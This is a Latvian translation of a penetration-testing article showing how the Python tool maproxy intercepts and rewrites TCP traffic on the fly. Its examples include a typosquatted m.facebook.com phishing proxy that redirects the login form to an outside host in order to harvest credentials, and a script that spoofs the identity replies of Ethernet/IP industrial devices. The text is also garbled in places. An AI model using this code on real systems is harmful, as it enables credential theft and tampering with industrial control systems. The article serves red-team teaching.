Apstrādājiet tīkla datus lidojumā

Raksta tulkojums tika sagatavots kursu sākuma priekÅ”vakarā ā€œPentests. IespieÅ”anās pārbaudes prakse".

Apstrādājiet tīkla datus lidojumā

Anotācija

Dažādu veidu droŔības novērtējumi, sākot no regulāras iespieÅ”anās pārbaudes un Red Team operācijām lÄ«dz IoT/ICS ierīču un SCADA uzlauÅ”anai, ietver darbu ar binārajiem tÄ«kla protokoliem, tas ir, bÅ«tÄ«bā tÄ«kla datu pārtverÅ”anu un modificÄ“Å”anu starp klientu un mērÄ·i. TÄ«kla trafika uztverÅ”ana nav grÅ«ts uzdevums, jo mums ir tādi rÄ«ki kā Wireshark, Tcpdump vai Scapy, taču Ŕķiet, ka pārveidoÅ”ana ir darbietilpÄ«gāks uzdevums, jo mums bÅ«s nepiecieÅ”ams sava veida interfeiss, lai lasÄ«tu tÄ«kla datus, filtrētu tos vai mainÄ«tu. to lidojumā un gandrÄ«z reāllaikā nosÅ«tiet atpakaļ mērÄ·a saimniekdatoram. Turklāt bÅ«tu ideāli, ja Ŕāds rÄ«ks varētu automātiski strādāt ar vairākiem paralēliem savienojumiem un bÅ«tu pielāgojams, izmantojot skriptus.

Kādu dienu es atklāju rÄ«ku, ko sauc maproxy, dokumentācijā man ātri kļuva skaidrs, ka maproxy - tieÅ”i tas, kas man vajadzÄ«gs. Å is ir diezgan vienkārÅ”s, daudzpusÄ«gs un viegli konfigurējams TCP starpniekserveris. Es pārbaudÄ«ju Å”o rÄ«ku vairākās diezgan sarežģītās lietojumprogrammās, tostarp ICS ierÄ«cēs (kas Ä£enerē daudz pakeÅ”u), lai noskaidrotu, vai tas spēj apstrādāt daudzus paralēlus savienojumus, un rÄ«ks darbojās labi.

Šis raksts iepazīstinās jūs ar tīkla datu apstrādi lidojumā, izmantojot maproxy.

Pārskatiet

Instruments maproxy ir balstÄ«ta uz Tornado, populāru un nobrieduÅ”u asinhrono tÄ«klu sistēmu Python.

Kopumā tas var darboties vairākos režīmos:

  • TCP:TCP ā€“ neÅ”ifrēti TCP savienojumi;
  • TCP:SSL Šø SSL:TCP ā€“ ar vienvirziena Å”ifrÄ“Å”anu;
  • SSL:SSL - divvirzienu Å”ifrÄ“Å”ana.

Tā nāk kā bibliotēka. Lai ātri sāktu, varat izmantot piemēru failus, kas atspoguļo galveno bibliotēkas funkcijas:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1. gadÄ«jums ā€“ vienkārÅ”s divvirzienu starpniekserveris

Balstoties uz tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Pēc noklusējuma ProxyServer() ņem divus argumentus ā€“ savienojuma vietu un mērÄ·a portu. server.listen() ņem vienu argumentu - portu ienākoŔā savienojuma noklausÄ«Å”anai.

Skripta izpilde:

# python tcp2tcp.py

Lai palaistu testu, mēs izveidosim savienojumu ar vietējo SSH serveri, izmantojot mūsu starpniekservera skriptu, kas klausās 2222/tcp portu un savienojas ar standarta portu 22/tcp SSH serveri:

Apstrādājiet tīkla datus lidojumā

Sveiciena reklāmkarogs informē, ka mūsu skripta paraugs ir veiksmīgi izmantojis tīkla trafiku ar starpniekserveri.

2. gadÄ«jums ā€“ datu pārveidoÅ”ana

Vēl viens demonstrācijas skripts logging_proxy.py ideāli piemērots mijiedarbībai ar tīkla datiem. Komentāri failā apraksta klases metodes, kuras varat mainīt, lai sasniegtu savu mērķi:

Apstrādājiet tīkla datus lidojumā

Interesantākais ir Ŕeit:

  • on_c2p_done_read ā€“ pārtvert datus ceļā no klienta uz serveri;
  • on_p2s_done_read - otrādi.

Mēģināsim nomainīt SSH reklāmkarogu, ko serveris atgriež klientam:

[ā€¦]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[ā€¦]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[ā€¦]

Izpildiet skriptu:

Apstrādājiet tīkla datus lidojumā

Kā redzat, klients tika maldināts, jo viņam tika mainÄ«ts SSH servera nosaukums Ā«DumnySSHĀ».

Apstrādājiet tīkla datus lidojumā

3. gadÄ«jums ā€“ vienkārÅ”a pikŔķerÄ“Å”anas tÄ«mekļa lapa

Ir bezgalÄ«gi daudz veidu, kā izmantot Å”o rÄ«ku. Å oreiz pievērsÄ«simies kaut kam praktiskākam no Sarkanās komandas operāciju puses. Atdarināsim galveno lapu m.facebook.com un izmantojiet pielāgotu domēnu ar apzinātu drukas kļūdu, piemēram, m.facebok.com. Demonstrācijas nolÅ«kos pieņemsim, ka domēnu esam reÄ£istrējuÅ”i mēs.

Mēs izveidosim neÅ”ifrētu tÄ«kla savienojumu ar mÅ«su upuru starpniekserveri un SSL straumi uz Facebook serveri (31.13.81.36). Lai Å”is piemērs darbotos, mums ir jāaizstāj HTTP resursdatora galvene un jāievada pareizais saimniekdatora nosaukums, kā arÄ« tiks atspējota atbildes saspieÅ”ana, lai mēs varētu viegli piekļūt saturam. Galu galā mēs aizstāsim HTML veidlapu, lai pieteikÅ”anās akreditācijas dati tiktu nosÅ«tÄ«ti mums, nevis Facebook serveriem:

[ā€¦]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[ā€¦]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/lv/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[ā€¦]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[ā€¦]

Rezumējot:

Apstrādājiet tīkla datus lidojumā

Kā redzat, mēs varējām veiksmīgi aizstāt sākotnējo vietni.

4. gadÄ«jums ā€” Ethernet/IP pārneÅ”ana

Es jau labu laiku nodarbojos ar industriālām ierÄ«cēm un programmatÅ«ru (ICS/SCADA), piemēram, programmējamiem kontrolleriem (PLC), I/O moduļiem, diskdziņiem, relejiem, kāpņu programmÄ“Å”anas vidēm un daudz ko citu. Å is futrālis ir paredzēts tiem, kam patÄ«k industriālās lietas. Šādu risinājumu uzlauÅ”ana ietver aktÄ«vu spēlÄ“Å”anos ar tÄ«kla protokoliem. Nākamajā piemērā es vēlētos parādÄ«t, kā jÅ«s varat modificēt ICS/SCADA tÄ«kla trafiku.

Lai to izdarītu, jums ir nepiecieŔams:

  • TÄ«kla sniffer, piemēram, Wireshark;
  • Ethernet/IP vai vienkārÅ”i SIP ierÄ«ce, to var atrast, izmantojot Shodan pakalpojumu;
  • MÅ«su skripts ir balstÄ«ts uz maproxy.

Vispirms apskatīsim, kā izskatās tipiska identifikācijas atbilde no CIP (Common Industrial Protocol).

Apstrādājiet tīkla datus lidojumā

Ierīces identifikācija tiek veikta, izmantojot Ethernet/IP protokolu, kas ir rūpnieciskā Ethernet protokola uzlabota versija, kas aptver vadības protokolus, piemēram, CIP. Mēs mainīsim izcelto ID nosaukumu, kas ir redzams ekrānuzņēmumā "NI-IndComm Ethernet" izmantojot mūsu starpniekservera skriptu. Mēs varētu atkārtoti izmantot skriptu logging_proxy.py un līdzīgi modificēt klases metodi on_p2s_done_read, jo mēs vēlamies, lai klientam būtu redzams cits identitātes nosaukums.

Kods:

[ā€¦]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[ā€¦]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[ā€¦]

Būtībā mēs divreiz prasījām ierīces identifikāciju, otrā atbilde bija sākotnējā, un pirmā tika mainīta lidojuma laikā.

Un pēdējais

Pēc manām domām maproxy Ērts un vienkārÅ”s rÄ«ks, kas rakstÄ«ts arÄ« Python valodā, tāpēc uzskatu, ka arÄ« jÅ«s varat gÅ«t labumu no tā izmantoÅ”anas. Protams, ir sarežģītāki rÄ«ki tÄ«kla datu apstrādei un modificÄ“Å”anai, taču arÄ« tie prasa lielāku uzmanÄ«bu un parasti tiek radÄ«ti konkrētam lietoÅ”anas gadÄ«jumam, piem. Muraena, Modlishka vai evilginx gadÄ«jumiem, kas lÄ«dzÄ«gi treÅ”ajam, vai canape par pēdējo gadÄ«jumu. Tā vai citādi, ar palÄ«dzÄ«bu maproxy varat ātri Ä«stenot savas idejas tÄ«kla datu pārtverÅ”anai, jo skriptu piemēri ir ļoti skaidri.

Autentifikācijas mehānismu pārbaude sistēmā Windows AD

Avots: www.habr.com

Pievieno komentāru